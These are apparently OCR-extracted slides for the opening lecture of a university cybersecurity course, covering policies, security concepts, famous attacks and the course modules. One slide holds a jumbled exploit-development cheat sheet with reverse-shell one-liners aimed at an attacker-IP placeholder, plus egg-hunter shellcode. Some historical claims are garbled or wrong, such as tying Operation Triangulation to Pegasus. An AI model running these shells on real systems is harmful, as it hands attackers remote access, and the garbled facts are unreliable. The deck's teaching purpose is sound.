

Cyber Security

Lecture 1.1 Overview of the Course

Instructor(s): Muhammad Rauf Butt, Muhammad Arif Butt, PhD

Lecture Agenda



- Course Information and Protocol
- Cyber Security: A Bigger Picture
- Categories of Cyber Security
- History of Cyber Attacks
- Prerequisites of the Course
- A discussion on Course Modules







O About the Instructor





Dr. Muhammad Arif Butt

Asst. Prof. at Department of Data Science University of Punjab, Lahore <u>arif@pucit.edu.pk</u> <u>https://www.linkedin.com/in/dr-arif-butt/</u> <u>https://arif.phd</u> <u>https://arifbutt.me</u>

Education:

- Graduation from Pakistan Military Academy Kakul
- MPhil CS from University of Punjab, Lahore
- PhD CS from University of Punjab, Lahore

Experience:

- Served in field/staff/instructional posts in Pakistan Army
- Assistant Professor, Department of Data Science

Research Interests:

- Embedded and real time operating systems
- Vulnerability research and exploit development
- Cyber Security
- AI/LLM Security

Course Information

🐲 👶 🔪

- Lectures Slides/Handouts Available at: <u>https://arifbutt.me</u>
- Video Lectures Available at: <u>https://youtube.com/learnwitharif</u>
- Codes Hosted at: <u>https://github.com/arifpucit</u>
- Grades Website: <u>https://online.pucit.edu.pk</u>
- Prerequisites:
 - OS and Internetworking with Linux
 - Basic programming skills in Python, C, and Assembly
- Office: Building-C, FCIT (NC)
- Students Counseling hours:
 - Mon: 0900 hrs 1000 hrs
 - Tues: 1130 hrs 1230 hrs
- 24 hour turnaround for email: <u>arif@pucit.edu.pk</u>

7 Text and Reference Books









FOURTH EDITION

COMPUTER SECURITY FUNDAMENTALS

DR. CHUCK EASTTOM







Charles P. Pfleeger Shari Lawrence Pfleeger



Who cares to get an A

- Final-Term Exam: 40
- Mid-Term Exam: 35

25

- Sessional Activities:
 - Assignments: 30%
 - Quizzes: 40%
 - Class Activities: 30%





1 Lecture Format





1 Late submission guidelines protocol

🦉 👶 🔪

- Late Assignment submissions will not be accepted!
- There will be no retake on exams and quizzes!



Start working on your tasks early and submit well before time.

Cheating Policy

- Academic integrity
- Copying an Assignment with or without permission. Both the cheater and the student who aided the cheater will be held responsible for the cheating
- The instructor may take actions such as:
 - require repetition of the subject work,
 - assign 'zero' or may be 'negative' marks for the subject work,
 - for serious offenses, assign an ${\bf F}$ grade for the course









What is Cyber Security?

- Cybersecurity is the practice of protecting systems, networks, devices and data from from cyber threats such as malware, ransomware, phishing, data breaches and so on to safeguard both individual and organizational digital assets.
- It encompasses a wide range of domains, including information security, network security, application security, and incident response.
- It involves the application of technologies, processes, and practices to ensure the confidentiality, integrity, and availability of information



CIA Triad



CIA Triad is the foundational model in IS, representing three core principles that ensure the protection of information



Opposite of CIA is DAD

- Disclosure means someone not authorized is getting access to the system. ^{100\$ Question}
- Alteration means your data has been altered.
- Destruction means your data or system have been destroyed.

- **100\$ Question:** Finding the right mix
- Ensuring too much **C**, **A** will suffer.
- Ensuring too much I, A will suffer.
- Ensuring too much **A**, both **C** & I will suffer

CIA Triad: Confidentiality



Confidentiality ensures that sensitive information is accessible only to authorized users.

Measures to achieve Confidentiality:

- Encryption: (3DES, Blowfish, AES, RSA, DSS, PGP)
- Secure Transport Protocols: (SSL, TLS, IPSec)
- Access Control: (DAC, MAC, RBAC)
- Authentication Mechanisms: (MFA, Biometrics)
- **NW Security Controls:** (Fire Walls, VPNs, IDS/IPS)
- Least Privilege Principle:
- Physical Security:
- End-user Training:



Threats:

- Social engineering/Phishing.
- Unauthorized NW access & Port scanning.
- Eavesdropping and MitM attacks.
- Password dump stealing and attack on your encryption (cryptoanalysis).
- Authorized users may abuse their access to retrieve sensitive data.

CIA Triad: Integrity

Integrity: ensures the accuracy, consistency and trustworthiness of information by protecting it from unauthorized modification, deletion or corruption

Measures to achieve Integrity:

- **Hashing,** generating a fixed size hash value for data , so that any alteration is easily detectable. (MD5, SHA-256, SHA-512)
- **Checksums,** using checksums to detect errors in data communication or storage. (CRC-32, Adler32)
- **Digital Signature,** is used to verify the authenticity and integrity of a message or document. (RSA, PGP)
- Version Control, is used to track changes to document or code, allowing roll back if unauthorized changes are detected. (Git, SVN)
- Active Logging, maintaining logs that track data . changes, system access and transactions (Splunk, Elastic Stack) Instructor(s): Muhammad Rauf Butt, Muhammad Arif Butt, PhD



Threats:

- MitM for tempering
- Data corruption by malware
- Malicious code injection
- Ransomware
- Deleting/altering DB records by SQLi
- DNS Spoofing / Cache Poisoning
- Replay attacks



CIA Triad: Availability



Availability: Achieving Availability ensures that information and resources are accessible to authorized users when needed.

Measures to achieve Availability:

- **Redundancy and Failover**, Implementing redundant systems and automatic failover mechanisms (RAID, Load balancers, Data Center Failover)
- **DDoS Protection**, using security measures to ensure continuous availability of services. (Cloudflare, Akamai)
- **Backup and Recovery**, Regularly backing up data and maintaining recovery procedures to restore systems in case of a disaster. (Veeam, Acronis, AWS Backup)
- **High Availability Architecture**, Using HA designs in systems avoiding single points of failure. (Clustering, Virtualization, Container Orchestration (Kubernetes, Docker).
- **Patch Management**, Keeping systems and applications updated to prevent downtime caused by security vulnerabilities or bugs.



Threats:

- DDoS
- Ransomware (for availability).
- H/W or S/W Failure.
- Natural disasters.
- Sabotage / Insider attacks.
- Resource exhaustion attacks.
- Logic bombs.

AAA Architecture



- Authentication is the process of verifying the identity of a user or system trying to access a resource.
 - Something you know (password, passphrase, PIN)
 - Something you have (NIC, ATM, Passport)
 - Something you are (Biometrics)
 - Somewhere you are (Geographic location, IP, MAC address)
 - Something you do (signatures, pattern unlock)
- Authorization determines what an authenticated user or system is allowed to do, specifying access levels or permissions based on the user role or identity. (DAC, MAC, RBAC)
- Accountability, also known as auditing, involves tracking and recording user activities and resource usage. This information is used for monitoring, analysis, and compliance purposes.







Instructor(s): Muhammad Rauf Butt, Muhammad Arif Butt, PhD

Information Security

- Information Security (InfoSec) is the practice of protecting information from unauthorized access, disclosure, disruption, modification, or destruction.
- It aims to ensure the confidentiality, integrity, and availability (CIA Triad) of data, whether it's in storage, processing, or transit, through the use of policies, procedures, and technologies.
- Information security encompasses a wide range of security practices, including risk management, cryptography, access controls, and incident response, to protect both digital and physical information assets.





Network Security

- Network Security is the practice of protecting the confidentiality, integrity, and availability of data and resources as they are transmitted or accessed across a network.
- It involves a combination of policies, procedures and technologies to prevent unauthorized access, misuse, modification, or disruption of network infrastructure.
- Network security includes measures such as encryption, security protocols, firewalls, IDS/IPS, and access controls to safeguard communication between devices and protect networks from threats like cyberattacks, malware, and data breaches.





Operating System Security

- **OS security** focuses on protecting the operating system from vulnerabilities and threats, ensuring that the system operates securely and is resistant to attacks.
- It is achieved through following steps:
 - Regularly applying updates and patches to address vulnerabilities and improve security.
 - Configuring the OS to reduce its attack surface by disabling unnecessary services and features.
 - Access Control.
 - User Authentication.
 - File System Security.





Application Security

- Application security focuses on protecting software applications from threats and vulnerabilities that could lead to unauthorized access, data breaches, or other forms of exploitation.
- This includes techniques like secure coding, input validation, authentication, authorization, encryption, and regular security testing (such as vulnerability scanning and penetration testing).
- Application security aims to identify and fix vulnerabilities, such as SQL injection or cross-site scripting (XSS), to prevent malicious attacks.



• It addresses both the responsibilities of cloud providers (infrastructure security) and customers (secure configuration and data protection) to prevent threats like data leaks, account hijacking, and misconfigurations.

Instructor(s): Muhammad Rauf Butt, Muhammad Arif Butt, PhD

• Cloud security is the practice of safeguarding data, applications, and services hosted in cloud environments from unauthorized access, data breaches, and other cyber threats.

Cloud Security

- Cloud security measures include encryption, Identity and Access Management (IAM), network security, Data Loss Prevention (DLP), and regular security monitoring.
- Users from Anywhere P EQ Complaince Security Cloud Access Security Broker 50 HASE Information Control Protection ...; 6 Cloud Access Visibility Control



IoT Security

- IoT security is the practice of protecting Internet of Things (IoT) devices and the networks they connect to from cyber threats, Collection of interconnected devices that communicate unauthorized access, and vulnerabilities.
- Key IoT security practices include device authentication, encryption, secure firmware updates, network segmentation, and monitoring for unusual activity.
- IoT security is critical because these devices often have limited processing power, making them more susceptible to attacks, and they can serve as entry points for threats like malware or unauthorized control in broader network environments.

and transfer data through the Internet







Organizations struggle every day with the cybersecurity skills shortage. There just aren't enough qualified people to fill every role. In fact, research shows the world needs an influx of close to 3 million more cybersecurity professionals to meet demand.



ISC2

https://www.isc2.org > landing > throw-down-the-ladder

Throw Down the Ladder | ISC2 Certified in Cybersecurity

The Future: Security of Gen-Al Models



LLM Security Threats

- Prompt injection
- Jail breaking
- Backdoor and data poisoning
- Adversarial inputs
- Insecure output handling
- Data extraction & privacy
- Data reconstruction
- Denial of service
- Privilege escalation
- Water marking and evasion
- Model theft







Morris Worm (1988): Often considered one of the first major worms, created by Robert Tappan Morris. It exploited sendmail service to achieve RCE and exploited BoF vulnerability in the finger daemon to retrieve user information in Unix systems and spread across the internet. It infected around 6,000 computers, causing significant disruption by slowing down systems and making them unusable.

Melissa Virus (1999): The Melissa virus was a computer virus that spread quickly through email attachments in 1999. It primarily exploited vulnerabilities in Microsoft Word Macros and Outlook users, and was one of the first viruses to raise awareness of the risks of opening unsolicited emails.

ILOVEYOU Worm (2000): The ILOVEYOU Worm, also known as the Love Bug, spread through email with a subject line that read "I Love You." It used a social engineering trick to lure recipients into opening an infected attachment. It caused widespread damage, affecting 10 million computers globally, and led to billions of dollars in damages.







Instructor(s): Muhammad Rauf Butt, Muhammad Arif Butt, PhD

Cyber Attacks against Estonia (2007): In 2007, Estonia experienced a series of major cyber attacks, widely regarded as one of the first large-scale, politically motivated, state-sponsored cyber warfare campaigns.

- These attacks targeted government institutions, banks, media outlets, and other critical infrastructure, effectively disrupting the nation's online services for several weeks.
- It involved DDoS (Distributed Denial of Service) attacks, overwhelming servers with traffic to shut down websites and services.
- Russia was widely suspected of being behind the attacks.







Stuxnet (2010):

- Stuxnet was a sophisticated worm believed to be created by the U.S. and Israeli governments to target Iran's Worm nuclear facilities. spread through Windows computers, but its primary function was to cause physical damage to the centrifuges by altering their speeds without detection, while simultaneously sending normal signals monitoring operating to systems.
- It is considered one of the first known cyber weapons and demonstrated the potential for cyber-attacks to cause physical damage.





Sony PlayStation Network Hack (2011):

- Attackers compromised Sony's PlayStation Network (*PSN Hack*), gaining access to personal information of around 77 million users.
- They used a combination of phishing techniques and SQL injection to gain unauthorized access to Sony's servers. Data Breach forced Sony to shut down the PSN for nearly a month.
- Sony faced financial loss of \$171 million approx., making it one of the largest security breaches of its time.
- The breach led to the suspension of the network, significant financial losses, and a major hit to Sony's reputation.



WannaCry Ransomware Attack (2017):

- WannaCry attacked computers worldwide by exploiting a vulnerability in Microsoft's Server Message Block protocol.
- Vulnerability ID: CVE-2017-0144
- Exploit used: EternalBlue, developed by NSA, leaked by shadow brokers hacking group.
- It encrypted users' files and demanded ransom payments in Bitcoin.
- The attack affected more than 300,000 computers across 150 countries, with total damage ranging from hundreds of millions to billions of dollars.
- Attack caused significant financial losses, halted critical services, and highlighted the dangers of outdated software and unpatched security vulnerabilities.



LockBit (2019):

- A notorious ransomware group known for its multiple versions of ransomware, including LockBit1.0 (2019), LockBit2.0 (2021), LockBit3.0 (2022) and LockBit Black (2023).
- Each version has become more sophisticated, with enhanced encryption and better evasion tactics. The group operates under a ransomware-as-a-service (RaaS) model, allowing other cybercriminals to use their software for a fee.
- Attacked financial services, healthcare and transportation sectors.
- Used in approximately 1,700 ransomware attacks in US between January 2020 to and May 2023, with US\$91 million paid as ransom.
- Also declared as the world's most prolific ransomware in 2022.







Jan-24 Feb-24

Number of Attacks

Pegasus (Forced Entry) (2021): Pegasus (Forced Entry) refers to a specific exploit of the Pegasus spyware, developed by Israeli company NSO group. It explored a zero-day in Apple's iMessage, allowing the spyware to be installed on a device without any interaction from the victim. This attack didn't require the victim to click on a malicious link or open a compromised file; it could be silently triggered just by receiving a specially crafted message. Once installed, Pegasus could monitor calls, messages, emails, and even activate microphones and camera

Operation Triangulation (2023): This operation utilized Pegasus spyware to silently compromise mobile devices and gain access to sensitive data. Operation Triangulation is a targeted cyberattack on iOS devices conducted using a chain of four zero-day vulnerabilities.





Famous Cyber Attacks (Cont..)



IoT (Internet of Things) Attacks

- Mirai Botnet (2021): The Mirai botnet, which was initially used for DDoS attacks, continues to exploit vulnerabilities in IoT devices to launch large-scale attacks.
- IoT device vulnerabilities can lead to widespread disruptions and can be used to launch attacks on various services. It stresses the importance of securing connected devices and updating their software regularly.



Famous Cyber Attacks (Cont..)



Deepfake AI: Deepfake AI poses significant challenges to cybersecurity, as it can be used to create highly convincing fake audio, video, and text content that can deceive individuals and manipulate public opinion

- Social Engineering Attacks
- Phishing and Fraud
- Reputation Damage
- Misinformation and Disinformation Campaigns
- Authentication and Trust Issues


Famous Cyber Attacks (Cont..)



☆ Spr.gov.pk

23

Hacked By Benaam Pakistani

Pakistan Zindabad

Dear Pakistani's

In the memories of those who sacrifice their life for us, It is to inform that Pakistan Armed Forces are the best in the World. They've made a lot of sacrifices for this country and were the true defenders of this motherland.

But, they must not misuse their power against their own people. They should work for the betterment of this country rather than killing it like a parasite.

Meanwhile, the politicians too are required to obey by their oath. They should work to make the country a much better place to live in.

Islamic principles and teachings should be opted in every field especially in the economic aspect (interest free).

Moreover, the citizens are also advised to rectify their character and code of conduct. They must leave all the activities which tends out to be a harm for the country. It is time to unite! Over 2 million Pakistanis' data hacked from restaurants database up for sale



KARACHI: Bykea, a popular ride-hailing, mobility, and delivery app used by many Pakistanis, experienced a disturbing hacking incident on Tuesday, causing widespread concern among users.

The ordeal began when users started receiving highly inappropriate text messages, alarming and unsettling them. Bykea promptly addressed the issue and issued an apology for the offensive messages.

Impacts of Cyber Attacks



- **Financial Losses**: Direct financial losses due to theft, ransom payments, and fraud, as well as indirect costs from downtime, recovery efforts, and legal fees.
- **Operational Disruption**: Interruption of business operations, affecting productivity and service delivery. Critical infrastructure attacks can lead to widespread disruptions in essential services.
- **Reputational Damage**: Loss of customer trust and damage to the organization's reputation, which can affect future business prospects and customer relationships.
- Data Privacy Concerns: Exposure of personal and sensitive data, leading to increased risks of identity theft, phishing, and privacy violations.
- **Regulatory and Legal Consequences**: Increased scrutiny from regulators and potential legal actions, resulting in fines and compliance costs.
- National Security Risks: Espionage and attacks on critical infrastructure can have implications for national security and geopolitical stability.

National Critical Infrastructure









Penetration Testing (PT)

- Networks
- Websites
- Mobile applications
- Cloud Services
- Large Language Models

Maintaining access APTs are imitated to see if a vulnerability can be used to maintain access.

Analysis and WAF configuration

Results are used to configure WAF

settings before testing is run again.



PENETRATION

05

01



Scanning

Scanning tools are used to understand how a target responds to intrusions.



Reverse Engineering

- Closed Source Code Analysis
- Malware Analysis
- License Reversing



Vulnerability Research and Exploit Development 🦉 💐 🛚

- Network stack
- OS Kernels
- Inter-Process Comm
- Browser Escapes
- Userland Applications

the lower best from a second as a should		V											Voent	secore with	matic inter	unt calls											
AX - lower 16: [AH 8-15bits AL 0-7bits] CX - lower 16: [CH 8-15bits CL 0-7bits]		EAX Accumulator I/O port access, arithmetic, interrupt calls ECX Counter Used as a loop counter and for shifts														SCAPY packet = IP(dst=* <dest>*,src=*<src>*)/TCP(dport=80, flags=*S*) unans. ans = sr(oacket)</src></dest>					G08 - basic commands display/i \$p	with a post	instruction after each	(100			
DX - lower 16: [DH 8-15bits DL 0-7bits]		1 1	EDX												metic, interr		1.0		hans, ans =: st all handle						function or	step	
BX - lower 16 [BH 8-15bits BL 0-7bits] -		i i			Base -										er for memor		11(1000	IO>()) U					given locatio				
					ESP	Stack Po	pinter-								t request/con		fuzz()			eraults ecified proto field					tion of the current sta	ick frame.	
SPIKE fuzzer					1 1	EBP BA	ase Poin	ter-					Holdsth	e base addr	ess of the star	ck	send()		and packet			info breakpoints	Print inform	ations abou	t the break- and wate	hpoints.	
s_string("string"):						1 65									nemory array		\$7			=1.5, iface="eth0", filter="host 1.2.3	4 and port 80")				t the _displays".		
s_string_variable(" <string>"); s_string_repeat("<string>",<int>);</int></string></string>							EDI		ination						nory array cop		sr()		end/Receiv						he currently selected	stack frame.	
s_string_repeat(" <string>",<int>); s_readline();</int></string>								EIP	Instru	ction po	inter —		Holds th	e offset of t	he next instru	uction	sr1()			I packet answered					and their contents		Netcat Listeners
s_read_packet();	8bit			BL							Manual	KOReni	oder/dec	oder			stp()			roto packets			List loaded s			41.4	nc -1 -p <port> -s <oddr> ncat -1 -k -p <port></port></oddr></port>
printf(* <string>*);</string>		at u		BL											instruction	addro	sr1p[]			packet answered			List all signa List all threa		hey are currently har	dled.	• near or or op sponts
sleep(<int>);</int>	8bit	HC	DH	BH					1		80 30 OF	XOR	BYTE PTR	DS:[EAX], <	keyo;		ans.sho			cket contents/flags andled packets in ans					GDB searches for sou	rre files.	Basic CU one-liners
s_binary("\\x41");	8			0.11			_		ŝ		40	INC 8					tracerou		initially of	andred packets in ans					wn in the _list"comm		• perl -e 'print "A" x <buffer-spo< td=""></buffer-spo<>
s_binary_repeat(*\\x41*, <int>);</int>	22								326						st_instruction				0.1.99.2". "	www.google.com*,"www.citrix.com	7.maxttl=15)	whatis variable name	Print type of	f named var	able.	110000	• python -c 'print A* <buffer-spi< p=""></buffer-spi<>
s_block_start("block1");	16bits	X C	(DX	BX	SP	BP :	SI D	I IP			7E F5	JLE SI		KOR_encode	instruction	addr>	sniff()		acket sniffe			x/nfu <address></address>	Print memo			إسماعي	ruby-e'put "A" *< buffer-space
s_block_end("block1");	-										SS EC		EBP, ESP				p	ckets = sniff	(fater="hos	<host>, count=<num>)</num></host>		n: #Units to pri			PEDA - basic comma		
Opcode Description	E	AX EC	X EDX	EBX	ESP	EBP E	ESI ED	DI EIP			6A FF	PUSH					rdpcap{		ead pcap			f: Format chara			Show/set ASLR setti		
CALL Call subroutine							D6 D7				7E F5			de Ist inst	nuction_addre	***		ackets = rdpc		e.pcop*)		u: Unit.			Check for security of		
DEC Decrement							4E 4F										wrpcap(rite pcap				ollowing:		Display args passed to		
INC Increment							46 47										W	rpcap(*filent	ame.pcop",	backets)		b: Byte b: Half-word (t	wo bytes)		Dump all ROP gadge Get headers info fro		
JMP Unconditional Jump							sejump		get :	all shell	code on	binary	file from	objdump								w: Word (four b			Get non-debug symi		file
MOV Move (Copy)							BE BF								v'file' cut -t	f2 -d: cut -t	1-6 -d" tr	s" tr \t"	sed 's/ \$/	'g' sed 's/ /\\x/ g' paste -d " -s	sed's/^/*/ sed	's/\$/"/g' g: Giant word (eight bytes	lookup	Search for all addr/r		
PUSH Push onto Stack POP Pop from Stack							57 SE 5F																		Patch mem start at a		
XCHG Exchange eAX with							3E 3F 96 97											-							Gen, search, write p		
XOR Logical exclusive OR	33						F6 FF										-	00	N					procinfo	Display various info		
ADD Add												la se		- Later)					pshow	Show PEDA options		
AND Logical and					NUL n	descripti	ion						dec h 96 6				1	1				PE HEADER			Set PEDA options & Get headers information		
CMP Compare eAX		BD					handar						90 G 97 G						1			DOS MZ Header		regoen			
INT Interrupt	CD					tart of t							98 6				1		100			DOS Stub			Get common ROP ga Search for ROP gadg		n norany
INT3 Interrupt 3	cc	_				end of te							99 6						-			PE File Header		searchmen	I find Search for a p	attern in memor	r; support regex search
JA Jump if above	77		4	4	EOT e	end of tr	rans	36	24	\$	58 44	D	100 6	4 d			1000	Contractor	19			PE Signature			Gen or download co		
JB Jump if below JBE Jump if below or equal	72 76				ENQ E			37	25	*	59 45	E	101 6	s e	6		~~~	N. P.	1.5		Im	age_Optional_Header		skeleton	Gen python exploit	code template	
JCXZ Jmp if CX zero	E3					cknowl	ledge										at the	AND A	ALLE .			Section Table					of section(s) in debugged process
IE Jump if equal					BEL B								103 6		C	1	153	ANY.	1		Array : Im	age Selection Headers			XOR a memory regio		
JL Jump if less than	7C					Backspac							104 6 105 6				A THE	YX)	12			Data Directories			ck(AndAuditAlarm)		
ILE Jump if less than or equal	7E					ine feed							105 6			1	01-	1X	2.03					1\xca\xff\xt	OR dx, 0x0fff		dress in page
Jump if not below	73					vertical t							100 6				2000年1月	Adril	5				\x42		incedx	; edx is cour	
JNL Jump if not less	70					orm fee							108 6					Sec. May					1x52		push edix	: push value	of edx to stack or NtAccessCheckAndAuditAlarm
INLE Jump if not less or equal	7F												109 6										\x6a\x0.	1	push byte +0x02		or NtAccessCheckAndAuditAlarm NtDisplayString to stack
INO Jump if no overflow	71	-				hift out		46	Ze		78 4e	N	110 6	e n	python s	structfl							1x58		popeax		r 0x43 into eax, as param for sysca
INS Jump if no sign (positive) INZ Jump if not zero	79 75	-			<u>SI</u> 5								111 6			СТуре		Python typ	e Size			Sections	\xcd\x2	e	int 0x2e		syscall is required using previous
INZ Jump if not zero	75												112 7		x	pad byte		no value				.idata	\x3c\x0		cmp al, 0x05		cess violation occurs
10 Jump if overflow	70												113 7		c	char		string len(1) 1			.rsc .data					S== ACCESS_VIOLATION) 5
IS Jump if sign (negative)	78												114 7 115 7		b	signed c		integer	1			.data .text	\xSa		pop edx	; restore ed	
1Z Jump if zero	74												115 7		B	unsigne	d char	integer	1		and the second	.text	\x74\xe		je xxxx		o start dx 0x0fffff
LOOP Loop operation	E2												110 7		2	8001		bool	1			att			57 mov eax, 0x57303		
NOP No operation	90												118 7		h	short unsigner	debast	integer	2				\x8b\xfi	1	mov edi, edx	; set edi to p	
NOT Invert each bit													119 7		-	int	a short	integer	4	Nmap - additional flags			\xaf		scasd inz xxxxxxxxxx	; compare for the compare for	
OR Nogical or		0			CAN C								120 7			unsigner	dint	integer	4			hernet frames or ip packets	Ivat		scasd	; jmp back to	
RET Return from subroutine RET +OFF Return + Offset	C3 C2	-											121 7		i	long		integer	4	script "http-*" source-port <portnumber></portnumber>	sripts with wildcar		\x75\xe	7	ing xxxxxxxx		edk if only one egg found
SUB Subtract	C2	10				Substitu	te						122 7		L	unsigner	dlong	integer	4			g runtime at set <interval></interval>	\xff\xe7		jmp edi		ginning of shellcode
WAIT Suspend exec until BUSY # pin					ESC E								123 7		9	long lon		integer	8			services, and reason why		_	unnelling		
													124 7		Q		dionglong		8			protocol-specific payload				h-f-N-L <souro< td=""><td><pre>>:<port>:<dest>:<port> user@re</port></dest></port></pre></td></souro<>	<pre>>:<port>:<dest>:<port> user@re</port></dest></port></pre>
Reverse Shells													125 7 126 7		t	float		float	4		Default is sequent						e>: <port>:<dest>:<port> user@r</port></dest></port>
bash -i >& /dev/tcp/ <attackerip>/<port< td=""><td>> 0>81</td><td></td><td></td><td></td><td></td><td></td><td></td><td></td><td></td><td></td><td></td><td></td><td>126 7 127 7</td><td></td><td>d</td><td>double</td><td></td><td>float</td><td>8</td><td>data hex string</td><td>Append custom bi</td><td>nary data to sent packets</td><td></td><td></td><td></td><td></td><td></td></port<></attackerip>	> 0>81												126 7 127 7		d	double		float	8	data hex string	Append custom bi	nary data to sent packets					
			34	10	05 0	anne se pi	and store	_							5	char[]		string	-	e.g initial-rtt-timeout 250ms							
• nc -e /bin/sh <attackerip> <port></port></attackerip>														d(* <key>*))</key>		char[]		string	- ·			+/- verbosity level			on Testing and	Exploit Dev	Cheatsheet
php = 7 Stock-fspokapen(" statutaring> - \$ports / \$ports / \$ports / \$hol(\$h - 1 < 3 + 33 + 26 + 3); em /tmp/fi.mktho /mp/f.cat, fmp/fi/bin(\$h - 1 > 26 k] n < ratecherips - \$ports - \$/mp/f = sourcexterm -display stargelips - port 1 = destXess 1: xhost +stargelips = pert - \$vis Socket3e" ratechers - \$for-port : socket15.4" INTEACK_STREAM_getpretohyma = python < 'import socket.style=ratecherSock=STREAM_socketSock STREAM_socketSock STREAM_socketSock STREAM_socketSock STREAM_socketSock STREAM_socketSock STREAM_socketSock STREAM_socketSo						python -c 'print chr[ord["\x <volue>")*ord["<key>"))' p void *</key></volue>								integer -					+/- debugging Level	_ (Dovid						
																			on / off packet tracing								
																		= ?	S Print runtime interaction help		https://developer.mozilia.org/en-US http://pentestmonkey.net			USHUUCH/WED/API/			
																						https://www.vulnhub.com https://www.vulnhub.com					

Red Team

- Attackers
- Offensive
- Legal Criminal Activity
- Website Hacking
- Mobile Phone Hacking
- Network Hacking





Blue Team



- Defenders
- Protect against Red Team



GRC

in the second se

- Governance
- Risk Management
- Compliance
 - Secure Programming
 - Secure Assets
 - Secure Interpersonal Communication



Security Operation Center





Incident Response





Forensics









Overview of the Course







M3 Reverse Engineering & Binary Exploitation



NW Attacks and Penetration Testing



Malware Development and Analysis











Prerequisites of the Course













Module 2: NW Attacks & PT



56

Penetration testing (pen testing) is a systematic process used to identify and exploit vulnerabilities in a system, network, or application to understand the security risks.







Module 3: Reverse Engineering & Binary Exploitation



- **Reverse engineering** in cybersecurity refers to the process of analyzing and disassemblying software, hardware, or protocols to understand their inner workings, often with the goal of extracting valuable information, identifying vulnerabilities, malicious behavior or weaknesses.
- Key purposes of reverse engineering are:
 - Software cracking or protection
 - Vulnerability research
 - Malware analysis
 - Digital forensics
- Tools used in reverse engineering are:
 - GNU GDB
 - IDA Pro
 - Radare2
 - X64dbg
 - Wireshark
 - Burp Suite

Module 3: Reverse Engineering & Binary Exploitation

- **Binary exploitation** is a category of cyber attack where an attacker abuses vulnerabilities in compiled binary programs (executable files, libraries, etc.) to gain unauthorized access, escalate privileges, or execute arbitrary code. This often involves leveraging flaws in the way a program handles input, memory, or system resources.
- Common vulnerabilities that lead to binary exploitation include:
 - Buffer overflow
 - Integer overflow
 - Use after free
 - Race condition
 - Return oriented programming
 - Format string vulnerability
 - Shellshock vulnerability
 - SUDO vulnerability
 - COW vulnerability

Instructor(s): Muhammad Rauf Butt, Muhammad Arif Butt, PhD







Module 4: Malware Development & Analysis

Malware development refers to the process of creating malicious software designed to infiltrate, damage or steal data from, or disrupt the operation of computers, NW or devices



Module 4: Malware Development & Analysis

- Understanding Malwares and its types
- Building closed environment to perform analysis
- Understanding the procedure to perform the analysis
- Understanding the art of writing detection rules
- YARA: Yet Another Ridiculous Acronym is a versatile and powerful tool for malware detection, classification and hunting. It help writing custom rules to detect threads that might bypass traditional security solutions.
- ClamAV: An open-source antivirus engine used for detecting and removing malware, including viruses, trojans, and worms.
- **Snort**: An open-source IDS/IPS that helps in monitoring network traffic in real time to detect suspicious activities and potential security threats.









To Do:

Go through Handout # 1.2 at your own and set-up your own Virtual Hacking Lab for all the class activities and assignments using either Virtual Machines or Docker Containers or both ©